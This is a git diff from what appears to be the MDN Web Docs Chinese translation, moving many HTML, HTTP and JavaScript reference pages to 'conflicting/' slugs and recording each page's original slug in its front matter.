    diff --git a/files/zh-cn/conflicting/web/html/element/index.html b/files/zh-cn/conflicting/web/html/element/index.html index 9a45c3ba52..4deec7c2ee 100644 --- a/files/zh-cn/conflicting/web/html/element/index.html +++ b/files/zh-cn/conflicting/web/html/element/index.html @@ -1,6 +1,6 @@ --- title: HTML5 标签列表 -slug: Web/Guide/HTML/HTML5/HTML5_element_list +slug: conflicting/Web/HTML/Element tags: - HTML - HTML5 @@ -9,6 +9,7 @@ tags: - 指南 translation_of: Web/HTML/Element translation_of_original: Web/Guide/HTML/HTML5/HTML5_element_list +original_slug: Web/Guide/HTML/HTML5/HTML5_element_list ---

    这里列出了所有标准化的 HTML5 元素,使用起始标签描述,按照功能分组。与列出所有标准化的、非标准化的、有效的、废弃的标签的 HTML 元素索引 不同的是,该页只列出有效的 HTML5 元素。新网站应当只使用这里列出的元素。

    diff --git a/files/zh-cn/conflicting/web/html/quirks_mode_and_standards_mode/index.html b/files/zh-cn/conflicting/web/html/quirks_mode_and_standards_mode/index.html index 04e0eabb4f..b18bccd87b 100644 --- a/files/zh-cn/conflicting/web/html/quirks_mode_and_standards_mode/index.html +++ b/files/zh-cn/conflicting/web/html/quirks_mode_and_standards_mode/index.html @@ -1,6 +1,7 @@ --- title: Quirks Mode and Standards Mode -slug: Quirks_Mode_and_Standards_Mode +slug: conflicting/Web/HTML/Quirks_Mode_and_Standards_Mode +original_slug: Quirks_Mode_and_Standards_Mode ---

    在web产生初期, 网页通常被两个版本: 其中一个是为网景公司的 Netscape Navigator浏览器而写, 另外一个是为微软公司的 Internet Explorer浏览器而写. 随后,当W3C组织制定了web标准,各浏览器并不能立即的严格按标准执行,因为这样做会让一些已经存在的不符合新标准的网页无法正常显示.为此,浏览器推出两种模式来分别对待符合标准的网也与旧的标准指定之前遗留的网页.

    如今,浏览器的渲染引擎已发展成为拥有三种渲染模式:quirks mode, almost standards mode, 和full standards mode. 在quirks mode(混杂模式)中,渲染引擎会模拟Navigator 4 和 Internet Explorer 5这些古老浏览器的不标准的渲染行为来渲染网页,以防止现代浏览器不能正常渲染已经存在的一些古老网页.在full standards mode(标准规范模式)中,渲染引擎会尽量使用HTML 和 CSS 规范规定的行为来渲染网页.在almost standards mode(接近标准模式)中,渲染引擎有极少数行为不遵循标准.

    diff --git a/files/zh-cn/conflicting/web/http/cors/index.html b/files/zh-cn/conflicting/web/http/cors/index.html index 50a52b3405..eb37a40e1d 100644 --- a/files/zh-cn/conflicting/web/http/cors/index.html +++ b/files/zh-cn/conflicting/web/http/cors/index.html @@ -1,6 +1,6 @@ --- title: Server-Side Access Control -slug: Web/HTTP/Server-Side_Access_Control +slug: conflicting/Web/HTTP/CORS tags: - AJAX - CORS @@ -8,6 +8,7 @@ tags: - PHP translation_of: Web/HTTP/CORS translation_of_original: Web/HTTP/Server-Side_Access_Control +original_slug: Web/HTTP/Server-Side_Access_Control ---

    {{HTTPSidebar}}

    diff --git a/files/zh-cn/conflicting/web/http/csp/index.html b/files/zh-cn/conflicting/web/http/csp/index.html index 232b502c3f..c9e88056a9 100644 --- a/files/zh-cn/conflicting/web/http/csp/index.html +++ b/files/zh-cn/conflicting/web/http/csp/index.html @@ -1,8 +1,9 @@ --- title: 内容安全策略 (CSP) -slug: Web/Security/CSP +slug: conflicting/Web/HTTP/CSP translation_of: Web/HTTP/CSP translation_of_original: Web/Security/CSP +original_slug: Web/Security/CSP ---
    {{gecko_minversion_header("2.0")}}
    diff --git a/files/zh-cn/conflicting/web/http/csp_9583294484b49ac391995b392c2b1ae1/index.html b/files/zh-cn/conflicting/web/http/csp_9583294484b49ac391995b392c2b1ae1/index.html index 2577fa1fde..aad26533cd 100644 --- a/files/zh-cn/conflicting/web/http/csp_9583294484b49ac391995b392c2b1ae1/index.html +++ b/files/zh-cn/conflicting/web/http/csp_9583294484b49ac391995b392c2b1ae1/index.html @@ -1,8 +1,9 @@ --- title: Using CSP violation reports -slug: Web/Security/CSP/Using_CSP_violation_reports +slug: conflicting/Web/HTTP/CSP_9583294484b49ac391995b392c2b1ae1 translation_of: Web/HTTP/CSP translation_of_original: Web/Security/CSP/Using_CSP_violation_reports +original_slug: Web/Security/CSP/Using_CSP_violation_reports ---

    {{ gecko_minversion_header("2.0") }}{{ draft() }}

    diff --git a/files/zh-cn/conflicting/web/http/csp_aeae68a149c6fbe64e541cbdcd6ed5c5/index.html b/files/zh-cn/conflicting/web/http/csp_aeae68a149c6fbe64e541cbdcd6ed5c5/index.html index ce27f52be4..8b035b39df 100644 --- a/files/zh-cn/conflicting/web/http/csp_aeae68a149c6fbe64e541cbdcd6ed5c5/index.html +++ b/files/zh-cn/conflicting/web/http/csp_aeae68a149c6fbe64e541cbdcd6ed5c5/index.html @@ -1,12 +1,13 @@ --- title: 内容安全策略介绍 -slug: Web/Security/CSP/Introducing_Content_Security_Policy +slug: conflicting/Web/HTTP/CSP_aeae68a149c6fbe64e541cbdcd6ed5c5 tags: - 介绍 - 内容安全策略 - 安全 translation_of: Web/HTTP/CSP translation_of_original: Web/Security/CSP/Introducing_Content_Security_Policy +original_slug: Web/Security/CSP/Introducing_Content_Security_Policy ---

    {{ gecko_minversion_header("2") }}

    diff --git a/files/zh-cn/conflicting/web/http/status/index.html b/files/zh-cn/conflicting/web/http/status/index.html index 2c0fce1058..cb0c385f77 100644 --- a/files/zh-cn/conflicting/web/http/status/index.html +++ b/files/zh-cn/conflicting/web/http/status/index.html @@ -1,8 +1,9 @@ --- title: HTTP response codes -slug: Web/HTTP/HTTP_response_codes +slug: conflicting/Web/HTTP/Status translation_of: Web/HTTP/Status translation_of_original: Web/HTTP/HTTP_response_codes +original_slug: Web/HTTP/HTTP_response_codes ---

    HTTP状态码(响应码)用来表明这个HTTP 请求是否已经成功完成.HTTP响应类型一共分五大类:消息响应,成功响应,重定向,客户端错误,服务器端错误.

     

    diff --git a/files/zh-cn/conflicting/web/javascript/guide/introduction/index.html b/files/zh-cn/conflicting/web/javascript/guide/introduction/index.html index d8b77fece9..cfe969feee 100644 --- a/files/zh-cn/conflicting/web/javascript/guide/introduction/index.html +++ b/files/zh-cn/conflicting/web/javascript/guide/introduction/index.html @@ -1,12 +1,13 @@ --- title: 关于本指南 -slug: Web/JavaScript/Guide/About +slug: conflicting/Web/JavaScript/Guide/Introduction tags: - JavaScript - 初学者 - 指南 translation_of: Web/JavaScript/Guide/Introduction translation_of_original: Web/JavaScript/Guide/About +original_slug: Web/JavaScript/Guide/About ---

    JavaScript 是一种跨平台的,基于对象的脚本语言。本指南介绍了所有您使用 JavaScript 所需要了解的事情。

    diff --git a/files/zh-cn/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html b/files/zh-cn/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html index 96114a1f43..31077692d4 100644 --- a/files/zh-cn/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html +++ b/files/zh-cn/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html @@ -1,10 +1,11 @@ --- title: JavaScript 概述 -slug: Web/JavaScript/Guide/JavaScript_Overview +slug: conflicting/Web/JavaScript/Guide/Introduction_6f341ba6db4b060ccbd8dce4a0d5214b tags: - ECMAScript translation_of: Web/JavaScript/Guide/Introduction translation_of_original: Web/JavaScript/Guide/JavaScript_Overview +original_slug: Web/JavaScript/Guide/JavaScript_Overview ---

    本节将介绍并讨论 JavaScript 的基本概念。

    diff --git a/files/zh-cn/conflicting/web/javascript/guide/regular_expressions/assertions/index.html b/files/zh-cn/conflicting/web/javascript/guide/regular_expressions/assertions/index.html index 8ff8e9730b..107bb6888f 100644 --- a/files/zh-cn/conflicting/web/javascript/guide/regular_expressions/assertions/index.html +++ b/files/zh-cn/conflicting/web/javascript/guide/regular_expressions/assertions/index.html @@ -1,7 +1,8 @@ --- title: Boundaries -slug: Web/JavaScript/Guide/Regular_Expressions/Boundaries +slug: conflicting/Web/JavaScript/Guide/Regular_Expressions/Assertions translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions translation_of_original: Web/JavaScript/Guide/Regular_Expressions/Boundaries +original_slug: Web/JavaScript/Guide/Regular_Expressions/Boundaries ---

    重定向至 断言

    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/arraybuffer/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/arraybuffer/index.html index 92909dbef7..494ec5dcf7 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/arraybuffer/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/arraybuffer/index.html @@ -1,10 +1,11 @@ --- title: ArrayBuffer.prototype -slug: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/ArrayBuffer tags: - ArrayBuffer translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer translation_of_original: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/boolean/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/boolean/index.html index cb7f351bd1..eb537d7bc5 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/boolean/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/boolean/index.html @@ -1,6 +1,6 @@ --- title: Boolean.prototype -slug: Web/JavaScript/Reference/Global_Objects/Boolean/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/Boolean tags: - Boolean - JavaScript @@ -8,6 +8,7 @@ tags: - Prototype translation_of: Web/JavaScript/Reference/Global_Objects/Boolean translation_of_original: Web/JavaScript/Reference/Global_Objects/Boolean/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/Boolean/prototype ---

    {{JSRef}}

    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/dataview/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/dataview/index.html index 3285efa3d3..30e15c989e 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/dataview/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/dataview/index.html @@ -1,10 +1,11 @@ --- title: DataView.prototype -slug: Web/JavaScript/Reference/Global_Objects/DataView/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/DataView tags: - DataView属性 translation_of: Web/JavaScript/Reference/Global_Objects/DataView translation_of_original: Web/JavaScript/Reference/Global_Objects/DataView/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/DataView/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/date/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/date/index.html index da3d715018..4e113936d2 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/date/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/date/index.html @@ -1,12 +1,13 @@ --- title: Date.prototype -slug: Web/JavaScript/Reference/Global_Objects/Date/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/Date tags: - Date - JavaScript - Property translation_of: Web/JavaScript/Reference/Global_Objects/Date translation_of_original: Web/JavaScript/Reference/Global_Objects/Date/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/Date/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/error/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/error/index.html index 420b5634de..86c93dcc85 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/error/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/error/index.html @@ -1,6 +1,6 @@ --- title: Error.prototype -slug: Web/JavaScript/Reference/Global_Objects/Error/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/Error tags: - Error - JavaScript @@ -9,6 +9,7 @@ tags: - 属性 translation_of: Web/JavaScript/Reference/Global_Objects/Error translation_of_original: Web/JavaScript/Reference/Global_Objects/Error/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/Error/prototype ---

    {{JSRef}}

    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/evalerror/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/evalerror/index.html index b68caa1f3f..7fe73a4749 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/evalerror/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/evalerror/index.html @@ -1,8 +1,9 @@ --- title: EvalError.prototype -slug: Web/JavaScript/Reference/Global_Objects/EvalError/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/EvalError translation_of: Web/JavaScript/Reference/Global_Objects/EvalError translation_of_original: Web/JavaScript/Reference/Global_Objects/EvalError/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/EvalError/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/function/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/function/index.html index a745753511..b2d20b8cbd 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/function/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/function/index.html @@ -1,6 +1,6 @@ --- title: Function.prototype -slug: Web/JavaScript/Reference/Global_Objects/Function/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/Function tags: - JavaScript - 函数 @@ -8,6 +8,7 @@ tags: - 原型属性 translation_of: Web/JavaScript/Reference/Global_Objects/Function translation_of_original: Web/JavaScript/Reference/Global_Objects/Function/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/Function/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/generatorfunction/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/generatorfunction/index.html index 0f7179b3f5..b7f4c019f3 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/generatorfunction/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/generatorfunction/index.html @@ -1,6 +1,6 @@ --- title: GeneratorFunction.prototype -slug: Web/JavaScript/Reference/Global_Objects/GeneratorFunction/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/GeneratorFunction tags: - ECMAScript 2015 - GeneratorFunction @@ -11,6 +11,7 @@ tags: - Reference translation_of: Web/JavaScript/Reference/Global_Objects/GeneratorFunction translation_of_original: Web/JavaScript/Reference/Global_Objects/GeneratorFunction/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/GeneratorFunction/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/intl/datetimeformat/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/intl/datetimeformat/index.html index f74e8f9cf5..9608a00425 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/intl/datetimeformat/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/intl/datetimeformat/index.html @@ -1,8 +1,9 @@ --- title: Intl.DateTimeFormat.prototype -slug: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat translation_of_original: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/map/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/map/index.html index d98bdfac5a..c05822ebf3 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/map/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/map/index.html @@ -1,8 +1,9 @@ --- title: Map.prototype -slug: Web/JavaScript/Reference/Global_Objects/Map/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/Map translation_of: Web/JavaScript/Reference/Global_Objects/Map translation_of_original: Web/JavaScript/Reference/Global_Objects/Map/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/Map/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/number/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/number/index.html index 3abe34b74b..883a45707c 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/number/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/number/index.html @@ -1,8 +1,9 @@ --- title: Number.prototype -slug: Web/JavaScript/Reference/Global_Objects/Number/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/Number translation_of: Web/JavaScript/Reference/Global_Objects/Number translation_of_original: Web/JavaScript/Reference/Global_Objects/Number/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/Number/prototype ---
    {{JSRef("Global_Objects", "Number")}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/object/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/object/index.html index 4dd70200f0..3d5f00217e 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/object/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/object/index.html @@ -1,12 +1,13 @@ --- title: Object.prototype -slug: Web/JavaScript/Reference/Global_Objects/Object/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/Object tags: - JavaScript - Object - Property translation_of: Web/JavaScript/Reference/Global_Objects/Object translation_of_original: Web/JavaScript/Reference/Global_Objects/Object/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/Object/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/promise/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/promise/index.html index c9c7dc3f6a..034a88bd0c 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/promise/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/promise/index.html @@ -1,8 +1,9 @@ --- title: Promise.prototype -slug: Web/JavaScript/Reference/Global_Objects/Promise/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/Promise translation_of: Web/JavaScript/Reference/Global_Objects/Promise translation_of_original: Web/JavaScript/Reference/Global_Objects/Promise/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/Promise/prototype ---
    {{JSRef("Global_Objects", "Promise")}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/proxy/proxy/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/proxy/proxy/index.html index 26d1ad3517..ccc2299f1e 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/proxy/proxy/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/proxy/proxy/index.html @@ -1,12 +1,13 @@ --- title: Proxy handler -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler +slug: conflicting/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy tags: - ECMAScript 2015 - JavaScript - Proxy translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy translation_of_original: Web/JavaScript/Reference/Global_Objects/Proxy/handler +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/rangeerror/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/rangeerror/index.html index 0e2c78aedf..efe5781a05 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/rangeerror/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/rangeerror/index.html @@ -1,8 +1,9 @@ --- title: RangeError.prototype -slug: Web/JavaScript/Reference/Global_Objects/RangeError/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/RangeError translation_of: Web/JavaScript/Reference/Global_Objects/RangeError translation_of_original: Web/JavaScript/Reference/Global_Objects/RangeError/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/RangeError/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/referenceerror/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/referenceerror/index.html index 4cb00496ef..09306f2862 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/referenceerror/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/referenceerror/index.html @@ -1,6 +1,6 @@ --- title: ReferenceError.prototype -slug: Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/ReferenceError tags: - Error - JavaScript @@ -9,6 +9,7 @@ tags: - ReferenceError translation_of: Web/JavaScript/Reference/Global_Objects/ReferenceError translation_of_original: Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/regexp/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/regexp/index.html index 0c76cb77ac..740b32604b 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/regexp/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/regexp/index.html @@ -1,12 +1,13 @@ --- title: RegExp.prototype -slug: Web/JavaScript/Reference/Global_Objects/RegExp/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/RegExp tags: - JavaScript - Property - RegExp translation_of: Web/JavaScript/Reference/Global_Objects/RegExp translation_of_original: Web/JavaScript/Reference/Global_Objects/RegExp/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/RegExp/prototype ---

    {{JSRef("Global_Objects", "RegExp")}}

    概述

    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/sharedarraybuffer/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/sharedarraybuffer/index.html index ccb6f2df65..41da127b42 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/sharedarraybuffer/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/sharedarraybuffer/index.html @@ -1,11 +1,12 @@ --- title: SharedArrayBuffer.prototype -slug: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer tags: - Prototype - SharedArrayBuffer translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer translation_of_original: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/string/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/string/index.html index 00a9695a64..567c248d41 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/string/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/string/index.html @@ -1,6 +1,6 @@ --- title: String.prototype -slug: Web/JavaScript/Reference/Global_Objects/String/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/String tags: - JavaScript - 原型 @@ -9,6 +9,7 @@ tags: - 属性 translation_of: Web/JavaScript/Reference/Global_Objects/String translation_of_original: Web/JavaScript/Reference/Global_Objects/String/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/String/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/symbol/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/symbol/index.html index f00b37a223..b9ec4f2381 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/symbol/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/symbol/index.html @@ -1,8 +1,9 @@ --- title: Symbol.prototype -slug: Web/JavaScript/Reference/Global_Objects/Symbol/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/Symbol translation_of: Web/JavaScript/Reference/Global_Objects/Symbol translation_of_original: Web/JavaScript/Reference/Global_Objects/Symbol/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/Symbol/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/syntaxerror/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/syntaxerror/index.html index 6f109510ef..9b7eb11a66 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/syntaxerror/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/syntaxerror/index.html @@ -1,6 +1,6 @@ --- title: SyntaxError.prototype -slug: Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/SyntaxError tags: - Error - JavaScript @@ -9,6 +9,7 @@ tags: - SyntaxError translation_of: Web/JavaScript/Reference/Global_Objects/SyntaxError translation_of_original: Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/typedarray/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/typedarray/index.html index ae9f64bf5e..61824a9cfe 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/typedarray/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/typedarray/index.html @@ -1,8 +1,9 @@ --- title: TypedArray.prototype -slug: Web/JavaScript/Reference/Global_Objects/TypedArray/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/TypedArray translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray translation_of_original: Web/JavaScript/Reference/Global_Objects/TypedArray/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/TypedArray/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/typeerror/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/typeerror/index.html index 42abf0c422..d6daea2244 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/typeerror/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/typeerror/index.html @@ -1,6 +1,6 @@ --- title: TypeError.prototype -slug: Web/JavaScript/Reference/Global_Objects/TypeError/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/TypeError tags: - Error - JavaScript @@ -9,6 +9,7 @@ tags: - 错误 translation_of: Web/JavaScript/Reference/Global_Objects/TypeError translation_of_original: Web/JavaScript/Reference/Global_Objects/TypeError/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/TypeError/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/urierror/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/urierror/index.html index c5d381250a..a3d35fa68c 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/urierror/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/urierror/index.html @@ -1,8 +1,9 @@ --- title: URIError.prototype -slug: Web/JavaScript/Reference/Global_Objects/URIError/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/URIError translation_of: Web/JavaScript/Reference/Global_Objects/URIError translation_of_original: Web/JavaScript/Reference/Global_Objects/URIError/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/URIError/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/weakmap/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/weakmap/index.html index 27f1ff412a..4e5be33f06 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/weakmap/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/weakmap/index.html @@ -1,8 +1,9 @@ --- title: WeakMap.prototype -slug: Web/JavaScript/Reference/Global_Objects/WeakMap/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/WeakMap translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap translation_of_original: Web/JavaScript/Reference/Global_Objects/WeakMap/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/WeakMap/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/weakset/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/weakset/index.html index 572ab1ac73..d06fca34dc 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/weakset/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/weakset/index.html @@ -1,8 +1,9 @@ --- title: WeakSet.prototype -slug: Web/JavaScript/Reference/Global_Objects/WeakSet/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/WeakSet translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet translation_of_original: Web/JavaScript/Reference/Global_Objects/WeakSet/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/WeakSet/prototype ---
    {{JSRef("Global_Objects", "WeakSet")}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/lexical_grammar/index.html b/files/zh-cn/conflicting/web/javascript/reference/lexical_grammar/index.html index 0d52110bfa..e3cd47f9ab 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/lexical_grammar/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/lexical_grammar/index.html @@ -1,8 +1,9 @@ --- title: Reserved Words -slug: Web/JavaScript/Reference/Reserved_words +slug: conflicting/Web/JavaScript/Reference/Lexical_grammar translation_of: Web/JavaScript/Reference/Lexical_grammar#Keywords translation_of_original: Web/JavaScript/Reference/Reserved_Words +original_slug: Web/JavaScript/Reference/Reserved_words ---

     

